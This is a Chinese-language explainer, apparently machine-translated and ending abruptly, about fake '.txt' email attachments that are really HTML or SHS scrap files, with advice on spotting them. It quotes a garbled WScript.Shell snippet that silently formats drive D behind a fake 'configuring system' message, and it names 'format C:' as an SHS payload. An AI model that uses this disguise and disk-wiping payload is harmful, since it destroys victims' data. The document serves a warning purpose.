怎么啦？TXT文件也危险吗？是的!TXT文件不仅危险，而且可能非常危险!但是，严格来说，这个所谓的“TXT”文件应该加引号，因为它们是其他看起来像TXT文件的文件，但实际上隐藏了真正的扩展名，但对一般人来说它们是“TXT”文件!让我们来看看这些危险的TXT文件。如果你收到的邮件附件中有一个类似这样的文件：QQ靓号。txt，你认为它一定是纯文本文件吗？我告诉你，不一定!它的实际文件名可以是QQ靓号。txt.在注册表中，它表示HTML文件关联。但是保存到文件名的时候就不会出现了，你看到的是一个。txt文件，这个文件其实相当于QQ亮好play.txt.html。那么，为什么直接打开这个文件是危险的呢？查看该文件是否包含以下内容：a=new ActiveXObject(" WSCript. exe ")壳”);A.un (" format.comd:/q /autotest /u ");Windows正在配置系统。请不要中断此过程。”);您可能希望它调用笔记本运行，但如果您双击它，它调用HTML运行并自动开始在后台格式化D驱动器，说“Windows正在配置系统”。请不要打断这个过程。”这样的对话框来骗你。你觉得打开附件中的。txt的危险够大吗？欺骗如何工作：当您双击masquerading.txt文件时，它将作为html文件运行，因为实际的文件扩展名是。这是它起作用的先决条件。文件内容的第2行和第3行是其破坏性效果的关键。第3行是析构函数，可以在其中加载破坏性命令。那么第2行是做什么的呢？您可能已经注意到第2行中的单词“WSCript”。是的!它指挥了整个演出!是主谋!WScript被称为Windows Scripting Host，它是Win98的新添加，是一种批处理语言/自动执行工具。其对应的程序“Wscript”。exe”是一个脚本语言解释器，位于c:WINDOWS目录下。它允许脚本像批处理一样执行。Windows Scripting Host脚本环境中提供了一些预定义对象。提供了内置对象，包括获取环境变量、创建快捷方式、加载程序以及读写注册表。识别和预防方法：这种欺骗性的。TXT文件是不显示文本文件图标的，它显示的是未定义文件类型的标志，这是区分它与普通TXT文件的最好方法。另一种识别方法是查看“by WEB page”左侧的“My computer”会显示其全名的文件名(如图1所示)，此时可以看出它并不是一个真正的TXT文件。问题是很多新手没有足够的经验，老手也会不小心打开。同样，要注意收到的附件的文件名，不仅要注意显示的扩展名，还要注意图标实际显示的内容。对于别人发来的附件看起来像TXT文件，你可以用鼠标右键选择“用记事本打开”下载，这样会非常安全。另一种可怕的TXT文件类型是Windows中称为“shard object”(扩展名为“SHS”)的文件，它通常伪装成文本文件并通过电子邮件附件传输，例如：QQ号码发送。TXT。shs，因为真正的后缀“shs”是不会显示的，如果文件中包含像“format”这样的命令会很可怕!另外，以下四个原因也是有害的：(1)碎片对象文件的默认图标与记事本文件的图标相似。很容易被误认为是一些文字文档，用户心理上也没有做好准备。在Windows中，shard Object文件的扩展名为“。SHS”)默认是隐藏的。即使你去“资源管理器”“工具”“文件夹选项”“查看”并删除“隐藏已知文件类型的扩展名”之前的“”，“。“SHS”仍然是隐藏的。这是因为Windows支持双扩展名，如“QQ号play.txt”。shs的显示名称始终是“QQ号play.txt”。即使你有疑问，用任何杀毒软件都不会发现这个文件有任何问题，因为这个文件本身没有病毒，不可执行，仍然是一个系统文件。你会怀疑这样的文件吗？这种SHS附件病毒很容易制造，5分钟就能学会，也不需要编程知识(格式化C盘命令：“格式化C:”大家都知道)。1. 那么，碎片化的对象会对用户的计算机构成什么威胁呢？让我们来验证一下。下面的测试环境是在Windows 2000服务器中文版上进行的。

null

null